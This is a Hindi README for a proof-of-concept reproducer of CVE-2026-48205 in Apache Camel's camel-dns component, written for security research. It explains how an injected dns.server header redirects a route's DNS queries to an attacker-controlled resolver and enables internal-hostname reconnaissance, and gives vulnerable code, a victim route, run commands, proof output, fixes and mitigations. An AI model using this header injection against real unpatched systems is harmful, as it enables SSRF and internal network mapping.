
CVE-2026-48205 के लिए रिप्रोड्यूसर: Apache Camel camel-dns dns.* हेडर इंजेक्शन, जो DNS क्वेरी को हमलावर-नियंत्रित रिज़ॉल्वर पर पुनर्निर्देशित करता है (DNS के माध्यम से SSRF) और आंतरिक-होस्टनाम टोही को सक्षम बनाता है (4.14.8/4.18.3/4.21.0 में ठीक किया गया)
dns.* / term हेडर इंजेक्शन रिप्रोड्यूसर (CVE-2026-48205)यह प्रोजेक्ट Apache Camel के camel-dns घटक में एक संदेश-हेडर इंजेक्शन प्रदर्शित करता है, जिसे
CVE-2026-48205 के रूप में ट्रैक किया गया है। DNS प्रोड्यूसर अपने ऑपरेशन पैरामीटर — क्वेरी करने के लिए
रिज़ॉल्वर, देखने के लिए नाम/डोमेन, रिकॉर्ड प्रकार/क्लास और खोज शब्द — Exchange हेडर से पढ़ते हैं, जिनके
स्थिरांक मान (DnsConstants.DNS_SERVER, DNS_NAME, DNS_DOMAIN, DNS_TYPE, DNS_CLASS, TERM) सादे
स्ट्रिंग dns.server, dns.name, dns.domain, dns.type, dns.class और term थे। चूँकि ये नाम
Camel/camel उपसर्ग से शुरू नहीं होते, HttpHeaderFilterStrategy — जो HTTP सीमा पर केवल Camel हेडर
नेमस्पेस को रोकता है — ने उन्हें इनबाउंड HTTP अनुरोध से सीधे Exchange में पारित कर दिया।
HTTP कंज़्यूमर (जैसे platform-http) को dns: प्रोड्यूसर से जोड़ने वाले रूट में, कोई भी HTTP क्लाइंट
dns.server हेडर सेट कर सकता है ताकि dig प्रोड्यूसर एक SimpleResolver बनाए जो हमलावर-नियंत्रित
DNS सर्वर की ओर इंगित करे — एक DNS के माध्यम से सर्वर-साइड अनुरोध जालसाजी, जिसके ज़रिए हमलावर क्वेरी
किए गए नाम को देख सकता है और ज़हरीली प्रतिक्रियाएँ लौटा सकता है — और dns.name/dns.domain सेट करके
मनमाने आंतरिक होस्टनामों को हल कर सकता है (आंतरिक-नेटवर्क टोही)।
सुरक्षा परामर्श: https://camel.apache.org/security/CVE-2026-48205.html
फिक्स हेडरों का नाम बदलकर
CamelDnsServer/CamelDnsNameआदि कर देता है, ताकि वे हर अन्य Camel नियंत्रण हेडर की तरह HTTP सीमा पर फ़िल्टर हो जाएँ। यह CVE-2025-27636, CVE-2026-46454 और CVE-2026-47323 के समान परिवार से है।
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME = "dns.name";
// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server); // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server
फिक्स (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23574) मानों को CamelDns* नामकरण परंपरा में बदल देता है।
from("platform-http:/lookup")
.setHeader("dns.name", constant("example.com"))
.setHeader("dns.type", constant("A"))
.setHeader("dns.class", constant("IN"))
.to("dns:dig"); // no dns.server -> default resolver (intended)
यह रूट डिफ़ॉल्ट रिज़ॉल्वर के विरुद्ध एक निश्चित नाम के लिए dig करता है। हमलावर एक एकल dns.server हेडर
जोड़ता है और क्वेरी उसके DNS सर्वर पर पुनर्निर्देशित हो जाती है। (dns.server लोअरकेस है, इसलिए यह सर्वलेट
कंटेनर के हेडर सामान्यीकरण से बच जाता है — platform-http पर्याप्त है।)
सब कुछ एक स्व-निहित कंटेनर में चलता है: पीड़ित रूट, हमलावर का नकली DNS सर्वर (UDP 53), और हमलावर ड्राइवर।
CVE-2026-48205/
├── pom.xml # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FakeDnsServer.java # attacker DNS server on UDP 53 (records the redirected query)
│ ├── VictimRoute.java # platform-http:/lookup -> dns:dig
│ └── ExploitController.java # attacker: injects dns.server=127.0.0.1
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== 1) Legitimate request (no dns.server header) — default resolver ===
attacker's DNS server was queried: false
=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
attacker's DNS server was queried: true
observed lookup name: example.com.
>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true
अब हमलावर का DNS सर्वर पीड़ित का लुकअप नाम देख सकता है (और ज़हरीला उत्तर लौटा सकता है)। dns.server को
वास्तविक आंतरिक DNS रिज़ॉल्वर की ओर इंगित करना, या dns.name को आंतरिक होस्टनामों पर सेट करना, आंतरिक
नेटवर्क की टोही में सक्षम बनाता है।
4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23574) में अपग्रेड करें। अपग्रेड के बाद, DNS ऑपरेशनों को हेडर के माध्यम से
चलाने वाले रूट्स को CamelDnsServer / CamelDnsName आदि का उपयोग करना होगा।
अपग्रेड होने तक, dns: प्रोड्यूसर से पहले किसी भी अविश्वसनीय इनग्रेस से dns.* और term हेडर हटाएँ, और
DNS सर्वर और लुकअप पैरामीटर रूट में किसी विश्वसनीय स्रोत से सेट करें।
यह रिप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, जो कि एक सार्वजनिक रूप से खुलासा और फिक्स की गई भेद्यता के लिए है। बिना स्पष्ट अनुमति के इसे सिस्टम के विरुद्ध उपयोग न करें।
| गुण | मान |
|---|
| घटक | camel-dns |
| प्रभावित क्लास | org.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server")) |
| CWE | CWE-20 (अनुचित इनपुट सत्यापन) / CWE-918 (सर्वर-साइड अनुरोध जालसाजी) |
| प्रभाव | रूट की DNS क्वेरी को हमलावर-नियंत्रित सर्वर पर पुनर्निर्देशित करना (नाम देखना, ज़हरीली प्रतिक्रियाएँ लौटाना); आंतरिक होस्टनामों की गणना करना |
| पूर्व-शर्तें | एक रूट HTTP कंज़्यूमर को dns: प्रोड्यूसर से जोड़ता है; जब कंज़्यूमर अनऑथेंटिकेटेड हो |
| प्रभावित संस्करण | 4.0.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले |
| फिक्स किए गए संस्करण | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23574 (PR apache/camel#23411) |
| श्रेय | Yu Bao (PayPal) |